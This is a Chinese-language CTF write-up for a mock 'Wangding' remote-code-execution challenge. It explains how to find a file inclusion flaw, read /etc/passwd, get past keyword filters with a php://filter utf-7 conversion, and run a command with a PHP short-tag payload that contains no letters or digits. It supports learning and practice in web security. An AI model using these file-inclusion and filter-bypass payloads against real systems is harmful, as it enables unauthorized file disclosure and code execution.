CTF-网鼎模拟题-RCE

CTF-网鼎模拟题-RCE

知识考察:PHP代码审计、文件包含、PHP短标签、PHP伪协议

解题思路

1、查看网页源代码,提示?file=code.php,访问http://8.131.66.222:12326/index.php?file=code.php可以看到在index.php输出hello

判断应该存在文件包含漏洞,尝试读http://8.131.66.222:12326/index.php?file=/etc/passwd可以读到

2、利用文件包含漏洞与php伪协议读取code.php源代码,发现base、read等一些关键字被过滤,提示“utf-8”

想到之前做过的CTF可以通过利用iconv将utf-8编码转为utf-7编码读取code.php,读取code.php的payload:
?file=php://filter/convert.iconv.utf-8.utf-7/resource=code.php

成功读取code.php,再利用http://toolswebtop.com/text/process/decode/UTF-7#进行解码,成功读取code.php

3、尝试读取利用?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php,无法读取,读取?file=php://filter/convert.iconv.utf-8.utf-7/resource=index.php,发现flag被过滤

4、继续对code进行代码审计,发现对输入的code的值进行了过滤,过滤了所有字母与数字,想到是短标签,是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:同时,只有开启这个才可以使用 <?= 以代替 <? echo 。
最终payload:http://8.131.66.222:12326/code.php?code=?><?=/???/???%20????.????%3E,查看源代码,flag在最后

参考资料

PHP伪协议utf-8原理

[蓝帽杯2020第四届 线上赛]文件包含绕过
探索php://filter在实战当中的奇技淫巧

PHP短标签原理

ctf中 preg_match 绕过技术 | 无字母数字的webshell例题

原文地址:https://www.cnblogs.com/renhaoblog/p/14062790.html